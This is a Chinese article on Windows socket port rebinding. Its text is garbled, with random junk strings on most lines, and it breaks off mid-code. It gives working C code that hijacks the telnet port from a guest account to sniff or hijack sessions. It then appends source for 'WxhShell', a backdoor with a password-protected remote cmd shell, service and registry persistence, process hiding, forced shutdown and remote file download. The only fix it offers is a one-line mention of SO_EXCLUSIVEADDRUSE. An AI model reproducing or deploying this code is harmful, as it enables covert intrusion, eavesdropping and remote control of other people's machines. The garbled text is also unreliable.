在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^%wj6 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
iJuh1+6:c9 I^sWf3'db saddr.sin_family = AF_INET;
YG$2ySkDhE Z W`
Ur> saddr.sin_addr.s_addr = htonl(INADDR_ANY);
VQV7W EL$"MT}p bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
|^Nz/PN G=a.Wff 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
4Waot xcr=AhqM 这意味着什么?意味着可以进行如下的攻击:
Xm&L@2V N#'+p5|> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
HByk 1 \^2%v~
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Bt4
X 3>qUYxG8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'{WYho! {ve86 POY 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j%Mz;m4y B8-v!4b0` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@sv==|h g=.~_&O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'gd3 w~ R[ p. )F7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
jXq~ x"( n~N>c*p #include
B
MU@J #include
!U.Xb6 #include
=0 W`tx #include
?n)r1m DWORD WINAPI ClientThread(LPVOID lpParam);
rBLkowDP* int main()
6=o@X {
f)hs>F WORD wVersionRequested;
flp<QT DWORD ret;
D7cOEL< WSADATA wsaData;
z!27#gbL BOOL val;
Gs%IZo_ SOCKADDR_IN saddr;
1><\3+8 SOCKADDR_IN scaddr;
j(/Bf m int err;
G%~=hEK0 SOCKET s;
.kh%66: SOCKET sc;
B$qmXA)ze int caddsize;
)iadu HANDLE mt;
~8~B VwZ_ DWORD tid;
bHE'R!* wVersionRequested = MAKEWORD( 2, 2 );
z52T"uW err = WSAStartup( wVersionRequested, &wsaData );
$+P9@Q$ if ( err != 0 ) {
\7z&iGe! printf("error!WSAStartup failed!\n");
Zy^mSI4i return -1;
*A}QBZ }
2Cn^<(F^4I saddr.sin_family = AF_INET;
-dbD&8 [tDUR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%
INRds CK[2duf^~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
b3}928!D-@ saddr.sin_port = htons(23);
FrD.{(/~ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0L10GJ "( {
-e7|DXj printf("error!socket failed!\n");
HH+R47%* return -1;
I7b(fc-r }
cC
w,b] val = TRUE;
3N6U6.Tqb //SO_REUSEADDR选项就是可以实现端口重绑定的
_.0c~\VA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3n9$qr=' {
EJY[M printf("error!setsockopt failed!\n");
K;;Q*NN- return -1;
"6rZn_H/| }
kb1{;c: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
jQ.]m //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+aRjJ/* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<\Nf6>_qEM <b"ynoM.A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P;0tI; {
c.jq?Q k ret=GetLastError();
8}h ^Frh printf("error!bind failed!\n");
?^P#P0 return -1;
YfUdpa0 }
U~Aw=h5SD listen(s,2);
K6=-Zf while(1)
|Axg}Q| {
J'^s5hxn+0 caddsize = sizeof(scaddr);
5}
|O //接受连接请求
, M$*c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Us.yKAHPV if(sc!=INVALID_SOCKET)
m>2b %GTh {
'"QC^Joz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
YXXUYi~!f if(mt==NULL)
g.aNITjP {
{OP-9P=p printf("Thread Creat Failed!\n");
ie^:PcU break;
"lLt=s2>L }
]3hz{zqV^ }
!e6;@ * CloseHandle(mt);
A$ %5l }
5)V]qV$
closesocket(s);
*2crhI*@> WSACleanup();
VBR@f<2L return 0;
;5#P? }
hZI9*=`," DWORD WINAPI ClientThread(LPVOID lpParam)
=wK3\rG {
R0+v5E SOCKET ss = (SOCKET)lpParam;
AC ,$(E SOCKET sc;
w( `X P unsigned char buf[4096];
td4*+)'FY SOCKADDR_IN saddr;
!JUXq long num;
$/,qw
DWORD val;
3?Y%|ZVM DWORD ret;
'[JrP<~^o //如果是隐藏端口应用的话,可以在此处加一些判断
"[@-p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7;KmJ}$ saddr.sin_family = AF_INET;
|Z6rP- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
T
:CsYj1
saddr.sin_port = htons(23);
$f>Mz|j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`ea;qWy {
u(02{V printf("error!socket failed!\n");
lT$Vv=M return -1;
tr7FV1p }
z_!P0` val = 100;
hd9fD[5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AM##:4
{
yXY8 oE ret = GetLastError();
}r`!p5\$K0 return -1;
l#%Y]1* }
MdU_zY(c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
E5 H6&XU {
B$g!4C
`g ret = GetLastError();
al=Dy60|z return -1;
Yg/e 8Q2 }
00?^!'; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
8gJ"7,}-' {
IkH]W!_+ printf("error!socket connect failed!\n");
?v#t{e0eQ closesocket(sc);
/4RKA!W closesocket(ss);
=Xm
[ return -1;
Zi$a6 }
*Au4q< while(1)
;M8N% {
vuuID24: //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ts:dnGR5 //如果是嗅探内容的话,可以再此处进行内容分析和记录
56u'XMB? //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ckP&N:tC num = recv(ss,buf,4096,0);
ko
im@B if(num>0)
1 dz&J\|E# send(sc,buf,num,0);
/-E>5 w U else if(num==0)
]N-K`c] break;
|k)h' ? num = recv(sc,buf,4096,0);
F0bmGDp@- if(num>0)
(Z) send(ss,buf,num,0);
k<"ZNQm$. else if(num==0)
HYLU]9aH8 break;
?F*gFW_k }
^o !K0t* closesocket(ss);
f|?i6.N>f closesocket(sc);
V;=SncUb return 0 ;
RK/SeS }
ma~WJ0LM\ =/.[&DG LH]nJdq?) ==========================================================
g-oHu8 #PoUCRRC 下边附上一个代码,,WXhSHELL
`*9W{|~Gwx N-3w)23*: ==========================================================
h_?D%b~5 h\C #include "stdafx.h"
9g"a`a?c \PU|<Ru. #include <stdio.h>
V5K`TC^ #include <string.h>
?OYu BZF #include <windows.h>
vrGRZa #include <winsock2.h>
(8@._ #include <winsvc.h>
:b^tu8E #include <urlmon.h>
)eY3[>` -[`,MZf #pragma comment (lib, "Ws2_32.lib")
ff-9NvW4v #pragma comment (lib, "urlmon.lib")
t LS5yT/ hX$k8 o0 #define MAX_USER 100 // 最大客户端连接数
.2!'6;K #define BUF_SOCK 200 // sock buffer
76}
N/C #define KEY_BUFF 255 // 输入 buffer
0mH>fs 4 oO$a4|&, #define REBOOT 0 // 重启
#`);UAf #define SHUTDOWN 1 // 关机
7O;v5k~iQ u_e}m>[S #define DEF_PORT 5000 // 监听端口
*<xEM- /JtKn*?}:> #define REG_LEN 16 // 注册表键长度
\W(C=e #define SVC_LEN 80 // NT服务名长度
^=pn!lK;^ _tb)F"4V // 从dll定义API
(O,|1 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
xV~`sqf typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,8c` typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0#G&8*FMN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
m-5Dbx!j zYYc#N/ // wxhshell配置信息
E>KV1P struct WSCFG {
IBQmm(+v int ws_port; // 监听端口
Ts|&_| char ws_passstr[REG_LEN]; // 口令
B:&/*HU int ws_autoins; // 安装标记, 1=yes 0=no
H;G*tje/M char ws_regname[REG_LEN]; // 注册表键名
5=.,a5 char ws_svcname[REG_LEN]; // 服务名
wB?;3lTS char ws_svcdisp[SVC_LEN]; // 服务显示名
7od!:<v/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
{#zJx(2yG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
C \H%4p1r int ws_downexe; // 下载执行标记, 1=yes 0=no
fE|([` ! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
(lwkg8WC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FoInJ(PDH ^B1Q";#
B^ };
kJlRdt2 BB|w-W=Kd // default Wxhshell configuration
H^B/
'#mO struct WSCFG wscfg={DEF_PORT,
p(v+j_ak "xuhuanlingzhe",
)`,3/i9C$ 1,
v /G, "Wxhshell",
g.s~Ph- G "Wxhshell",
iU~oPp[e "WxhShell Service",
Zc{at}{ "Wrsky Windows CmdShell Service",
elJLTG "Please Input Your Password: ",
DKF`uRvGN: 1,
<lB^>Hfu "
http://www.wrsky.com/wxhshell.exe",
mmu{K$9}I "Wxhshell.exe"
*t3fbD };
2J|Wbey _Sosw|A // 消息定义模块
P,j)m\| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[L{q char *msg_ws_prompt="\n\r? for help\n\r#>";
@2L+"=u# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2Af1-z^^K char *msg_ws_ext="\n\rExit.";
-$QzbRF5R char *msg_ws_end="\n\rQuit.";
?r'rvu'/ char *msg_ws_boot="\n\rReboot...";
R}#?A%,* char *msg_ws_poff="\n\rShutdown...";
3(}W=oI char *msg_ws_down="\n\rSave to ";
`(q+@ #) wZ0$ylEX char *msg_ws_err="\n\rErr!";
#:v|/2 char *msg_ws_ok="\n\rOK!";
w=rh@S] {}s7q|$ char ExeFile[MAX_PATH];
>IJH#>i int nUser = 0;
: ,fs'! HANDLE handles[MAX_USER];
}<[@)g.h. int OsIsNt;
1Vp['& ';^VdR]fk SERVICE_STATUS serviceStatus;
dArg'Dc4 SERVICE_STATUS_HANDLE hServiceStatusHandle;
v<ASkkh> X) owj7U; // 函数声明
O<
v0{z09* int Install(void);
l7Zqk GG] int Uninstall(void);
cD YKvrPY int DownloadFile(char *sURL, SOCKET wsh);
BB.^-0up int Boot(int flag);
fx_7X15 void HideProc(void);
_<+! int GetOsVer(void);
u v%T0JA/ int Wxhshell(SOCKET wsl);
VA&_dU]* void TalkWithClient(void *cs);
f0~<qT?:n int CmdShell(SOCKET sock);
~dkS-6q~Q int StartFromService(void);
5hr$tkkL int StartWxhshell(LPSTR lpCmdLine);
X/}kNW!q dAh&Z:86\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
P6!c-\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
N<zD<q FMc$?mm // 数据结构和表定义
Tv_KdOv8 SERVICE_TABLE_ENTRY DispatchTable[] =
8doKB<#_+= {
D{x'k2= {wscfg.ws_svcname, NTServiceMain},
%c<e`P; {NULL, NULL}
h8&VaJ };
\uQ yp*P1s xA& tVQ2! // 自我安装
9{RCh9 int Install(void)
_ho9}7 > {
:XC~G&HuF6 char svExeFile[MAX_PATH];
Cvry8B HKEY key;
UMILAoR strcpy(svExeFile,ExeFile);
bBk_2lg=4) 4@AY~"dq // 如果是win9x系统,修改注册表设为自启动
s /"&k if(!OsIsNt) {
n0bm 'qw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hz) Xn\x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J: vq)G\F RegCloseKey(key);
f~%|Iu1ob if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}F!tM"X\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*|{1`{8n RegCloseKey(key);
h 6Ovl return 0;
o,>9|EMQZ }
s1.EE|h,5 }
`$*I%oT; }
[3lAKI else {
rE$0a-d2B 8s16yuM // 如果是NT以上系统,安装为系统服务
BpBMFEiP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
~_6~Fi if (schSCManager!=0)
cc- liY" {
NX%"_W/W SC_HANDLE schService = CreateService
`fMdO (
a> qB
k}) schSCManager,
v7gs
$'Q wscfg.ws_svcname,
2n+tc wscfg.ws_svcdisp,
I!1|);li SERVICE_ALL_ACCESS,
l7 Pn5c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
~ES6Qw`Oe SERVICE_AUTO_START,
6i'GM`>w SERVICE_ERROR_NORMAL,
]Y111<Ja svExeFile,
"`g5iUHqUl NULL,
o]/*YaB2> NULL,
[wOz<< NULL,
ZDny=&># NULL,
n x4:n@J NULL
0RFBun{ );
X!,huB^i if (schService!=0)
Rtpk_ND! {
M5 \flE2 CloseServiceHandle(schService);
5<U:Yy CloseServiceHandle(schSCManager);
pLj[b4p9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
4}4 cA\B:n strcat(svExeFile,wscfg.ws_svcname);
CCDU5l$$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
#mKF)W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
sbv2*fno5 RegCloseKey(key);
59Lc-JJ return 0;
p{|!LcSU$2 }
W_.WMbT }
<qGxkV
CloseServiceHandle(schSCManager);
Op()`x
m }
?}g^/g ! }
q7z`oK5 1A%0y)] return 1;
lT^/8Z<g }
-.xiq0 Mc,3j~i // 自我卸载
?_ 476A int Uninstall(void)
ci
4K
Nv; {
~aPe?{yIUa HKEY key;
f8e :J#jbS hk+8s\%- if(!OsIsNt) {
(^pIB~.z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?7=c` RegDeleteValue(key,wscfg.ws_regname);
4SVIdSA RegCloseKey(key);
j%+>y;). if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\)$: RegDeleteValue(key,wscfg.ws_regname);
=j~BAS*" RegCloseKey(key);
5(5:5q.A/D return 0;
2nf<RE> }
m^%@bu, }
Gr-~&pm }
"UX/yLc3( else {
R_W6} 3D;?X@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LXoZ.3S if (schSCManager!=0)
hT`fAn_ {
v}LI-~M>U SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ZJe^MnE (G if (schService!=0)
r=-b@U.fk> {
@r&*Qsf| if(DeleteService(schService)!=0) {
40%fOu,u` CloseServiceHandle(schService);
a8$4 CloseServiceHandle(schSCManager);
2##;[ return 0;
]ur?i{S, }
v%rmfI U CloseServiceHandle(schService);
cgnMoBIc }
9(3]t}J5
d CloseServiceHandle(schSCManager);
dGgltY }
WeJ=]7T'L }
IwXWtVL kXV;J$1 return 1;
+E^2]F7Zk }
vHZq
z< [tT_ z<e` // 从指定url下载文件
yh2)Pc[ int DownloadFile(char *sURL, SOCKET wsh)
S B~opN {
tD*k
HRESULT hr;
)T6:@n^]h char seps[]= "/";
Na$.VT char *token;
5vFM0 char *file;
zo1T`"Y char myURL[MAX_PATH];
inY_cn? char myFILE[MAX_PATH];
0W0GSDx B(WmJ6e strcpy(myURL,sURL);
;>uB$8<_7 token=strtok(myURL,seps);
B}S+/V`
Y5 while(token!=NULL)
3 [j,d]\| {
=+LIGHIt file=token;
mPU}]1*p token=strtok(NULL,seps);
Zs(BViTb| }
Nw9@E R #W6 6`{> GetCurrentDirectory(MAX_PATH,myFILE);
ftvu69f
strcat(myFILE, "\\");
#|K{txC
strcat(myFILE, file);
I{Ip send(wsh,myFILE,strlen(myFILE),0);
w$IUm_~waa send(wsh,"...",3,0);
=igTY1|af hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[;yKbw!C if(hr==S_OK)
_CPj]m{ return 0;
[O<F `u"a else
oP`:NCj\9 return 1;
<THwl/a \pk9i+t }
dG7d}0Ou' 2 431v@ // 系统电源模块
qdLzB int Boot(int flag)
/O<~n%< G {
b}fC'
h HANDLE hToken;
BYu(a
TOKEN_PRIVILEGES tkp;
>|, <9z`D P4HoKoj2` if(OsIsNt) {
\s%g'g; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rrR"2WuGO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<o9AjASv\, tkp.PrivilegeCount = 1;
$@@ii+W}\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
:-O$rm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'j*Q if(flag==REBOOT) {
^,YTQ.O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>-\^ )z return 0;
sBYDo{01 }
ZBR^$?nj else {
BdMd\1eMw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w+"E{#N return 0;
w>8HS+ }
c0Bqm }
2<9K}Of else {
z{&Av if(flag==REBOOT) {
ZJW8S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
uB^"A ;0v return 0;
XlD=<$Nk7 }
`*[\b9> else {
!@])Ut@tN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
yZ 7)|j return 0;
ZB|s/ }
S !#5 }
C[<{>fl) za}Kd^KeB return 1;
$W=)-X\> }
X3 1%T" H>D sAHS // win9x进程隐藏模块
\pkK
>R void HideProc(void)
"=n%L +6% {
~Er0$+q=Y; IP$eJL[&D" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
5L<A7^j if ( hKernel != NULL )
Xp|4 WM {
s-5#P,Lw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7FkiT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BJ]L@L% FreeLibrary(hKernel);
FX9W Xb4w }
(tq);m& 7XT(n v return;
IJKdVb~ }
(^W
:f{ ;hODzfNkS // 获取操作系统版本
P`O`MwEAf int GetOsVer(void)
*z6A ~U {
Du
+_dr^4 OSVERSIONINFO winfo;
}5 n\us winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
FWU>WHX GetVersionEx(&winfo);
,aD~7QX1: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0sA`})Dk return 1;
Ek_&E7 else
{>vgtk J return 0;
/2E
Q:P }
bf=\ED ^ #g@4c3um| // 客户端句柄模块
L4T\mP7D7* int Wxhshell(SOCKET wsl)
t5_76'@cX {
\!jz1`]&{ SOCKET wsh;
j~S=kYrGM struct sockaddr_in client;
>);M\,1\I DWORD myID;
A@?-"=h} g$mMH while(nUser<MAX_USER)
*2N0r2t& {
"M+I$*] int nSize=sizeof(client);
\v+c. wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)(yaX if(wsh==INVALID_SOCKET) return 1;
*Q?8OwhJ tS\Db'C7 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A-.Wd7^~* if(handles[nUser]==0)
Im-qGB0C closesocket(wsh);
Z_dL@\#| else
THX% z
` nUser++;
_g9j_
x:= }
ZU0*iA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
4`9ROC As5l36 return 0;
M6quPj }
I(kEvfxc" 8-H:5E 4Y // 关闭 socket
+A1*e+/b\ void CloseIt(SOCKET wsh)
gBWr)R {
c;]^aaQ+> closesocket(wsh);
>ySO.S nUser--;
7JuHa /Mv ExitThread(0);
kREFh4QO, }
\(=xc2 v9,cL.0& // 客户端请求句柄
|;(P+Q4lB void TalkWithClient(void *cs)
9ghUiBPiL: {
? p[Rv *' es(]W SOCKET wsh=(SOCKET)cs;
~*\ *8U@7 char pwd[SVC_LEN];
N}[!QE char cmd[KEY_BUFF];
=
=Q*|L-g char chr[1];
fWW B]h int i,j;
_-#o[>2[ @c"s6h& while (nUser < MAX_USER) {
C|g1:#0 d:vc)]M>f{ if(wscfg.ws_passstr) {
x[)]u8^A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*81/q8Az //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
sUR5Q/Q //ZeroMemory(pwd,KEY_BUFF);
FqGMHM\J i=0;
i4WHjeo\ while(i<SVC_LEN) {
<C;TGA khT[ // 设置超时
2*cc26o fd_set FdRead;
#u+qV!4 struct timeval TimeOut;
s:_j,/H0A} FD_ZERO(&FdRead);
g] ]6) nT FD_SET(wsh,&FdRead);
VM&Ref4 TimeOut.tv_sec=8;
Y}q~Km TimeOut.tv_usec=0;
vg@5`U`^h int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
^
T`T?*h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
"|Y y"iB[ 7F]Hq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
E+e),qsbO pwd
=chr[0]; /zQx}U)TP
if(chr[0]==0xd || chr[0]==0xa) { lfd-!(tXD
pwd=0; v$JW7CKA
break; v+trHdSBYE
} cUd>ahv
i++; jLO$[c`;
} P|lDW|}D@
G;pmR^
// 如果是非法用户,关闭 socket IZ^:wIKo{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]B~(yh
} V!yBH<X
1=9GV+`n
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )a'`
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0"TPY(n
'Ox "YE
while(1) { ZFH-srs{
*wd=&Z^19
ZeroMemory(cmd,KEY_BUFF); e0ni
-k2|`t _
// 自动支持客户端 telnet标准 ei=u$S.
j=0; 3,*A VcQA
while(j<KEY_BUFF) { GNB'.tJ:0Y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FzCXA=m
cmd[j]=chr[0]; c(b`eUOO
if(chr[0]==0xa || chr[0]==0xd) { SfrM|o
cmd[j]=0; z?kE((Ey
break; $[Nf?`f(t_
} 7zU~X,
j++; U,fPG/9
} vo)W
ziHh
(Nd)$Oq[4
// 下载文件 K)[\IJJM
if(strstr(cmd,"http://")) { kVt/Hhd9
send(wsh,msg_ws_down,strlen(msg_ws_down),0); aM#xy6:XG
if(DownloadFile(cmd,wsh)) JX&%5sn(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v^p* l0r6:
else *u,xBC2C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
Fe$o*r,
} ZJhI|wRwD
else { 9PG{>W$M
gVJh@]8)
switch(cmd[0]) { "WXUz
`fJ;4$4
// 帮助 +<V$G/"
case '?': { BNr%Q:Q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2VX9FDrnk
break; 60e{]}Z
} DR]oK_
// 安装 d$E>bo-\
case 'i': { 5
/oW/2"
if(Install()) $/(``8li_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"%>ms"n
else r9b(d]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k!$$ *a*
break; Yy`A0v
} Yb[)ETf^
// 卸载 pa?AKj]
case 'r': { 87)/dHc
if(Uninstall()) U%#Vz-r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4&e<Sc64
else ma QxU(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *&h]PhY
break; xH,e$t#@@~
} j!;E>`g
// 显示 wxhshell 所在路径 8-kR {9r
case 'p': { hM="9]i.
char svExeFile[MAX_PATH]; )MoHY
strcpy(svExeFile,"\n\r"); Z
R~2Y?Wt9
strcat(svExeFile,ExeFile); )/OIzbA3#
send(wsh,svExeFile,strlen(svExeFile),0); ^Mhh2v
break; ]ERAt^$0
} pRsIi_~&
// 重启 -sDl[
case 'b': { ~rXLb:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5UK}AkEe&x
if(Boot(REBOOT)) ?Lv U7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qM3(OvCt
else { )`gxaT>&l
closesocket(wsh); sdd%u~4,X
ExitThread(0); z`u$C+Ov
} :zO;E+s
break; wsAb8U C_
} ku>Bxau4>
// 关机 7[R`52pP
case 'd': { !V4 (- 8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vYo~36
if(Boot(SHUTDOWN)) m|]"e@SF2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pMAFZfte!x
else { >,)U46
closesocket(wsh); W+s3rS2
ExitThread(0); [3tU0BU"
} 3fYfj
break; pk;S"cnk
} GQjU="+
// 获取shell N?A}WW#
case 's': { K,P`V
&m?
CmdShell(wsh); ~0Zy$L/D
closesocket(wsh); N!\1O,
ExitThread(0); EVLDP\w{
break; /P/0\3TCi
} lX50JJwk
// 退出
7(o:J
case 'x': { Gu2=+?i?h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2J3y
1
CloseIt(wsh); =4!m]*y
break; ^0I"
} fX1Ib$v
// 离开 `:0Auw9h
case 'q': { C8(0|XX
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "0z4mQ}>N
closesocket(wsh); +*eVi3
WSACleanup(); <0Gk:NB,
exit(1); e%7#e%1s
break; VjeF3pmBa
} yU~wZjw
} T/hz23nH
} d@Wze[M?0
YCdtf7P=q
// 提示信息 }%y5<n*v\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (d .M} G
} fP\*5|7%R
} _ vAc/_N
B_3N:K Y
9
return; T*(mi{[T
} ;j<#VS-]
? Z2`f6;W4
// shell模块句柄 j5~~%
int CmdShell(SOCKET sock) 8\?H`NN
{ Z:,`hW*A6
STARTUPINFO si; <?Z]h]C^o
ZeroMemory(&si,sizeof(si)); eZg>]<L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |h.@Xy
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w,<n5dMv
PROCESS_INFORMATION ProcessInfo;
B,ao%3t
char cmdline[]="cmd"; 6_;n bqY&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [mG!-.ll
return 0; :"K9(XKKU
} |2jA4C2L}
nHLMF7\
// 自身启动模式 xd4~[n\hm
int StartFromService(void) =W gzj|Kr
{ 0R-W9qP
typedef struct +z~bH!$2
{ z6Nz)$!_i
DWORD ExitStatus; J)H*tzg
DWORD PebBaseAddress; TCkMJs?
DWORD AffinityMask; <Iil*\SC
DWORD BasePriority; CX]L'
ULONG UniqueProcessId; {?}^HW9{
